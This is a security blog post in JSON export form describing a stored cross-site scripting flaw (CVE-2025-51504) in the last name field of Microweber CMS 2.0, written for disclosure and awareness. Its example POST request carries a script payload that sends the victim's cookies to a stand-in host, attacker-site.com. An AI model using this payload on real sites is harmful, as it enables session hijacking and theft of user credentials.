{"id":86020,"date":"2025-12-12T07:12:40","date_gmt":"2025-12-12T07:12:40","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-51504-cross-site-scripting-vulnerability-in-microweber-cms-2-0","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-51504-cross-site-scripting-vulnerability-in-microweber-cms-2-0\/","title":{"rendered":"CVE-2025-51504: Cross-Site Scripting Vulnerability in Microweber CMS 2.0<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The CVE-2025-51504 vulnerability pertains to a Cross-Site Scripting (XSS) flaw found in Microweber CMS 2.0. This vulnerability affects the ‘\/projects\/profile’ homepage endpoint via the last name field. The implications of this vulnerability are significant, potentially leading to a system compromise and data leakage. Any system or entity utilizing Microweber CMS 2.0 should be aware of this vulnerability and take immediate corrective action.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-51504
\nSeverity: High (7.6 CVSS Score)
\nAttack Vector: Remote Network
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: System compromise and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Microweber CMS | 2.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

An attacker can exploit this vulnerability by injecting malicious scripts into the last name field on the affected endpoint. When other users or administrators view these injected scripts, the scripts get executed within the context of their user session. This could allow the attacker to hijack user sessions, deface web sites, or redirect the user to malicious sites.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how an attacker might exploit this vulnerability:<\/p>\n

POST \/projects\/profile HTTP\/1.1\nHost: vulnerable-site.com\nContent-Type: application\/x-www-form-urlencoded\nlast_name=<script>new Image().src='http:\/\/attacker-site.com\/steal.php?cookie='+document.cookie;<\/script><\/code><\/pre>\n
In this example, the attacker sends a POST request to the vulnerable endpoint (‘\/projects\/profile’) with a malicious payload in the last_name field. This script, when executed, would send the user’s cookie to the attacker’s server, effectively allowing the attacker to hijack the user’s session.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The CVE-2025-51504 vulnerability pertains to a Cross-Site Scripting (XSS) flaw found in Microweber CMS 2.0. This vulnerability affects the ‘\/projects\/profile’ homepage endpoint via the last name field. The implications of this vulnerability are significant, potentially leading to a system compromise and data leakage. Any system or entity utilizing Microweber CMS 2.0 should be aware […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-86020","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t